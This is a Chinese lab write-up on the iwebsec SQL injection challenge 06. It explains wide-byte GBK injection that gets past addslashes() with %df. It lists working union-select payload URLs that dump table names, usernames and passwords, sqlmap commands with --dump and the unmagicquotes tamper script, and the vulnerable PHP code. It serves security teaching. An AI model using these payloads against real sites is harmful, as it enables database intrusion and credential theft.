iwebsec-sql注入 06 宽字节字符型注入

发布时间 2023-08-18 19:15:42作者: 别打扰我摸鱼

01、题目分析

宽字节字符型注入,因为源代码中传参get值的时候,有一个addslashes() 函数,是返回在预定义字符(' " )之前添加反斜杠的字符串。

也就是说,当我们按照正常的字符型注入的时候,会在'前加入,也就是说,我们在url上

-- url写入
?id=1' order by 3 --+
-- 在addslashes(1' order by 3 --+)函数后实际赋值给id的值为
1\' order by 3 --+

因为sql语句中没有反斜杠,所以一定会报错,那我们就完成不了正常的注入,所以我们应该想办法把他去掉

02、宽字节过滤下的字符型手工注入

在'前加上%df,这样经过addslashes()函数处理后,传参值语句变为

1%df\' order by 3 --+

大家都知道%df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

宽字节过滤下的字符型手工注入,也就是加上%df,流程和上面的一样

http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' order by 3 --+
-- id=-1就是不显示内容
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,3 --+
-- 暴库
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,database() --+
-- 暴表
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
-- 暴列
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(column_name) from information_schema.columns --+
-- 暴字段
http://www.bdrwmy.cn:8001/sqli/06.php?id=1%df' union select 1,2,group_concat(concat_ws(username,password)) from iwebsec.sqli --+

02、宽字节过滤下的字符型工具注入

方式一:

在url上可以加上%df*进行sql注入,可以像上面03那样一步步的判断,但是因为已经知道有注入有表啥的了,直接一把梭

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/02.php?id=1%df"  --current-db --dump --batch

方式二:

--tamper unmagicquotes脚本是针对宽字节过滤的注入方式

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/02.php?id=1" --current-db --dump --batch   --tamper unmagicquotes

image

03、宽字节代码分析

<?php
if(isset($_GET['id'])){ // 检查是否存在传递的id参数
    $id=addslashes($_GET['id']); // 获取id参数的值,并使用addslashes函数进行转义,提高安全性
    mysql_query("SET NAMES gbk"); // 设置数据库连接的字符集为GBK,确保与数据库的字符集一致

    $sql="SELECT * FROM user WHERE id='$id' LIMIT 0,1"; // 构造SQL查询语句,根据传递的id参数查询user表中对应的记录

    $result=mysql_query($sql); // 执行查询语句,将结果存储在$result变量中

    // 执行其他操作,处理查询结果或输出数据等
} else {
    exit(); // 如果没有传递id参数,则退出(终止脚本运行)
}
?>